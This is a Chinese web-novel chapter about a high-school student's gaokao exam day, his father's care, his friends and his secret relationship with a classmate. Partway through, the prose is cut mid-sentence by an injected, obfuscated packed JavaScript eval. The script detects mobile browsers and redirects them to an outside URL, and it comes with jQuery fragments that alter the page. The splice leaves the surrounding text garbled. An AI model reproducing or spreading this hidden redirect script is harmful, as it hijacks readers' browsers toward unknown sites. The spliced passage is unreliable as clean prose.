陈温将门彻底推开。


    沙发上坐着一个高大的男人，是陈林峰。


    “我回来了。”陈温说着，低头换鞋，没往沙发那边看。陈林峰没打招呼就过来了，这让他心里掠过一丝不安。


    陈林峰的目光扫过来。陈温换好鞋，问：“爸，慕阿姨她们呢？没一起过来？”


    “没。”


    陈温又问：“你怎么来了？”


    “你阿姨……陪小雨高考，”陈林峰回道，“我也过来看看你。”


    “哦。”陈温点点头，不用问陈林峰肯定是请假过来的。他放下书包，径直走进卧室拿衣服。


    等他洗完澡出来，陈林峰便关掉了电视。


    “明早我给你做早餐，吃完再去。”他说。


    “好。”陈温抱着换下的衣服，能感觉到父亲的视线一直落在他身上，一种不太自在的感觉浮了上来。


    “衣服给我吧。”陈林峰说。


    “……好。”陈温怔了怔，把衣服递过去。


    陈林峰接过，走向阳台。洗衣机的注水声很快响起。


    陈温打了个哈欠：“那我先睡了。”


    “嗯，早点休息。”陈林峰倒着洗衣液，头也没回。


    陈温回到房间，关上门。他靠在门后，总觉得父亲今晚有些不同，可具体是哪里，他又说不清楚。


    早上，陈林峰煮了西红柿鸡蛋面，热气腾腾地端上桌。陈温大口吃着，热汤下肚，身子渐渐热了起来。


    他吃面的时候，陈林峰就坐在对面，一件一件帮他检查考试袋里的东西：黑色水笔、2B铅笔、橡皮、准考证、身份证……


    每一样都拿出来仔细看过，再按顺序放回去。


    太久没有体会过这种陪伴，陈温有些不习惯，又有些感到莫名的鼻酸。


    更出乎意料的是，吃完面，陈林峰拿起车钥匙：“走吧，我送你。”


    一路上父子俩都没怎么说话。


    外面暑气蒸腾的感觉，拽着陈温的记忆，跌回好多年前。


    那时陈林峰还在厂里做工。夏天，车间没有空调，只有几台老吊扇搅动着更热的风。


    厂里便偶尔会发些冰镇过的豆奶或凉茶，但陈林峰从不喝。


    他总是把那瓶饮料揣在怀里，下班后带回家。


    小小的陈温什么都懂。


    他接过瓶子，又看着父亲被汗水浸透的后背，喉咙里干渴的吞咽，然后仰起脸，把瓶子推回去。


    “爸爸，你喝吧。”他总是这么说，假装挑剔道，“我不喜欢这个味道，甜滋滋的，怪腻的。”


    陈林峰起初不信，劝他，说喝了凉快。陈温就扭过头，表现得真像嫌弃那味道似的。


    几次之后，陈林峰便不再坚持，接过瓶子时，那双被生活磨得粗糙的手，会在他头顶很轻揉一下。


    陈温回过神，盯着窗外飞快倒退的街道，手心微微出汗。不是因为紧张考试，而是因为即将面对的人群，和那个可能缺席的身影。


    到了学校门口，下车前，陈林峰终于开口：“正常考，尽力就好。上午考完，我过来接你去元姨家休息。她那儿离考点近，房间也给你腾好了。”


    “……嗯。”陈温推门下车，汇入拥挤的人潮。


    他在校门口的人群里下意识寻找，没有看到沈泽许。心里那点期待感，瞬间被扎的只剩气泡。


    大巴车陆续开来。陈温背着书包上了车，和林宇舟坐在了一排。


    他透过车窗，目光扫过车下每一张脸，送行的家长、穿着各色校服的学生、维持秩序的老师……始终没有那个人。


    估计是不同车吧。或许，沈泽许已经自己先去了考点。


    他这样告诉自己，收回目光，闭上眼睛。


    老师开始挨个点名，提醒大家系好安全带。车厢里窃窃私语起来，兴奋、紧张、什么情绪都有。


    车子启动，缓缓驶离。陈温望着街道的栏杆上挂满加油的横幅，直到考点大门彻底消失在视线里，某人也没有出现。


    刚开出去没多远，在一个需要减速的路口，一辆黑色轿车从旁边车道平稳地超了过去，与大巴车并行了一小段。


    沈泽许就坐在那辆轿车的副驾驶座上。


    他几乎是下意识地侧过头，目光穿透身侧的车窗，捕捉到了旁边大巴车后排靠窗的那个身影——


    陈温微微歪着头，靠在玻璃上，闭着双眼。


    他似乎睡着了，又或者只是在养神，侧脸有些疲态，又格外柔和。


    沈泽许就这么眼睁睁地看着那辆载着陈温的大巴车，缓缓驶过，然后在前方路口转向，汇入另一条车流，渐行渐远。


    车窗上那个靠着的剪影，也迅速缩小，最终消失在视野尽头。


    “外甥，”驾驶座上，一个面容与白千月有几分相似的中年男人开口问道：“大巴车走了，你现在还要等那个人吗？还是直接去考场？”


    沈泽许收回目光，脸上没什么表情，喉结滚动了一下。


    “谢谢舅舅，”他开口，“直接送我去考场吧。”


    叫“舅舅”的男人——白千月的弟弟白朗，闻言挑了挑眉，看了外甥一眼，没多问，爽快地应道：“得嘞！坐稳，舅舅保证准时准点给你送到！”


    车子加速，朝着与大巴车不同的另一条路驶去。


    林宇舟在大巴发动后就没停过嘴，身子凑过来，压着嗓子跟陈温叽里呱啦。


    “哎我跟你说，昨晚简直了！”他眼睛发亮，“学校不是明令禁止喊楼嘛，说怕影响复习。结果你猜怎么着？晚上十点多，不知道哪个猛男带头，在阳台上吼了一嗓子《海阔天空》！”


    他比划着，模仿着那声吼：“结果你猜怎么着？一层楼，接着整栋楼！跟传染似的，全跟着唱起来了！虽然歌词都没唱全，调也跑到太平洋去了，但那个阵势，我靠……”


    林宇舟咂咂嘴，仿佛还在回味：“虽然没到一分钟就被宿管和老师连吼带吓地镇压下去了。”


    “我偷偷拿手机录了一段，虽然抖得不行，还有点糊，但是拍的很有感觉！等考完我发给你看！”


    “我不住宿没看到，好可惜。”陈温闭着眼说。


    林宇舟话锋一转，又说起昨晚的失眠经历：“我昨晚本来想早点睡，结果躺床上越想越慌，摸出手机想随便刷刷，结果大数据给我推了个数学高考押题的直播。”


    “你猜怎么着？大半夜的，直播间显示有一万多人同时在线！我看着那个在线人数，心里……啧，说不出什么滋味。”


    男生顿了顿，肩膀塌下来一点：“就突然觉得，我们这一百来号人在这学校里拼死拼活，外面还有成千上万个不认识的人，在同一个晚上，为了同一件事，同样焦虑，跟豪赌似的。”


    陈温终于睁开了眼，侧过头看着林宇舟那张写满“我其实很慌但我不能承认”的脸，抬起手，没什么力道地拍他的肩膀。


    “物理系未来的神，”陈温调侃道，“也会焦虑吗？”


    “去你的。”林宇舟拍开他的手，脸上松动了一点，“还没考呢，封什么神。考砸了我就老实了，你可别给我瞎立flag。”


    “行行行，”陈温收回手，嘴角很浅地弯了一下，“不立，不立。”


    “没事的，”陈温又说，声音在车子的噪音里显得很平稳，“有句话怎么说来着……‘你焦虑，恰恰是因为你有考上的潜力。’”


    林宇舟愣了一下，随即咧开嘴，露出一个真心实意的笑。


    “这句话我爱听。”他说，然后舒坦地呼出一口气，好像把胸腔里最后那点紧张都吐了出去。


    他重新靠回椅背，姿态自然，甚至屈起一条腿，找了个更舒服的姿势。


    陈温也跟着呼了口气，重新闭上眼。


    那句话是楚婷在某次班会时说的，他当时没怎么在意，此刻却自然而然地说了出来，传递起信心。


    下了车，楚婷穿着那件素色旗袍，站在校门口，与每一个即将走进考场的学生拥抱。


    走廊上仍有人埋头翻动笔记，进行最后的复习，直到监考老师催促才匆匆入场。


    陈温抬起手臂，接受检查，仪器滑过袖口、腰侧、裤腿。走过一道门，再检查一次。


    然后，他站在了真正的考场里。


    窗外是铺天盖地的蝉鸣，肚里装着这三年背过的公式、诗句、定理……


    室外气温接近三十七度。校门外聚满了家长，有人撑伞，有人摇扇，目光却都朝着同一个方向。


    交警在路口维持秩序，白衣的医生坐在临时医疗点，志愿者递上一瓶瓶水——所有人都在为了这一刻保驾护航。


    即便再难熬的，也都熬过去了，这一点难也无所畏惧。


    时间在字句间流淌，也在窗外的蝉鸣中渐渐蒸发。


    直到最后一份答卷被收走，直到广播里响起“考试结束”。


    属于他们的夏天，终于正式开始了。


    人群如洪水般涌出考场。笑声、喊声、就是没有像电视剧那样的撕书。


    热风扑面而来。陈温站在原地，忽然觉得属于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172009|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己的夏天，已经结束了。


    他在攒动的人头中寻找那个身影。明明在同一个学校，明明知道他一定会出现，但怎么也找不到沈泽许。


    你明知道他就在这里，却确实看不见他。


    就像隔着一道墙，他在这一头，他在那一头。


    陈温抬起手，阳光从指缝间漏下来，烫得眼角发酸。


    沈泽许是第五个季节。是梦的别名。是他青春里，一场最盛大的虚构。


    “陈温！你原来猫在这儿啊！”


    林宇舟的声音带着考后特有的亢奋，像颗小炮弹似的从人群里冲出来，一把揽住陈温的肩膀。


    “走走走！叶萧云他们说要狠狠吃一顿，庆祝脱离苦海！”


    “不了，”陈温身子僵了一瞬，语速平稳，“我爸说好了来接我。”


    “啊？哦……”林宇舟胳膊松了力道，脸上兴奋的光彩黯了些，抓了两把后脑勺。


    他嘴唇翕动了几下，似乎想说什么，又咽了回去，眼神在陈温没什么表情的脸上打了个转。


    陈温没再解释，他走到一旁的花坛边，弯腰从几盆蔫了的茉莉花后面拎出自己的黑色书包。


    拉链有些卡，他用力扯开，在里面摸索片刻，掏出一个用旧报纸包好的长方形物件。


    他转过身，把东西递过去。


    “这个，”陈温说，目光落在那个小包裹上，顿了会，“沈泽许也去的话，帮我……给他。”


    林宇舟接过去，入手微沉。他捏了捏，像是书，又不太像。


    “行，包在我身上。”他答得爽快，把东西塞进自己空空如也的背包里。


    拉好拉链，他又抬起眼，这次没怎么犹豫，脸上带着点豁出去的探究。


    “哎，陈温，我说你们俩……”


    “嗯？”陈温抬起眼皮。


    林宇舟吸了口气，开口说：“你跟沈泽许……是不是在一起了？就那种，谈、谈恋爱的那种在一起？”


    空气静了两秒。


    陈温也怔了两秒，随即，很轻地点了下头。


    “呼——”林宇舟猛地吐出一大口气，随即一拳不轻不重地捶在陈温肩头，“我就知道！瞅你俩平时那眼神就不对劲！怎么不早说啊？太不够意思了！叶萧云、李欣桐他们，包括我，谁会在乎这个？瞒得跟地下党似的，还拿不拿我们当兄弟了？”


    陈温听着他连珠炮似的话，脸上浮起一点笑意：“哈哈，是吗？其实我们……”


    “其实什么？”林宇舟凑近了些。


    陈温的目光飘向校门口一棵叶子被晒得发亮的老槐树，像在自言自语：“我们本来打算……等高考完，就告诉你们的。”


    “哦……这样啊。”林宇舟恍然大悟，理解地点点头，“成！那……反正考完了，以后多的是时间。改天，必须再聚，咱们好好喝……咳，好好吃一顿！”


    “嗯。”陈温应了一声，目光重新落回林宇舟脸上，“走了。”


    陈林峰还没到。校门口的人群已散去大半，留下满地零星的矿泉水瓶和传单。


    就在陈温到校门口时，一抹鲜艳的红撞进了视线。


    是熊丽，穿着一身正红色的连衣裙，像一团静止的火焰。


    她也看到了他，远远地就扬起了手，脸上是惯常属于师长的笑容。


    “陈温！”她走近几步，“考得怎么样？”


    陈温下意识地牵动了一下嘴角，心里掠过一丝奇异的感慨——整整一年，这位总爱点他起来回答问题的英语老师，直到今天，在一切都尘埃落定的这一刻，终于准确无误地叫对了他的名字。


    太不容易了。


    “还好。”他简短地回答，用的是学生面对老师询问成绩时最标准、最安全的答案。


    目光扫过熊丽明显在等人的姿态，陈温礼貌地问：“老师您在等谁吗？”


    “是啊，”熊丽抬手挡了挡阳光，“等我侄女，她也刚考完。”她话音未落，视线就越过陈温的肩膀亮了起来，“哟，来了！”


    陈温侧身，看见一个满脸汗津津，笑容灿烂的女生小跑过来，亲昵地挽住了熊丽的手臂。


    她们很快低声交谈起来，掺着如释重负的笑声。


    陈温站在原地，意识到自己不知该再说些什么。道别显得突兀，继续站着又多余。好在熊丽已自然地转向他，点头道：“那我们先走了。陈温，以后常回学校看看。”


    “好的，老师再见。”


    男生看着那一红一白的两个身影融入远处街角的人流，直到消失。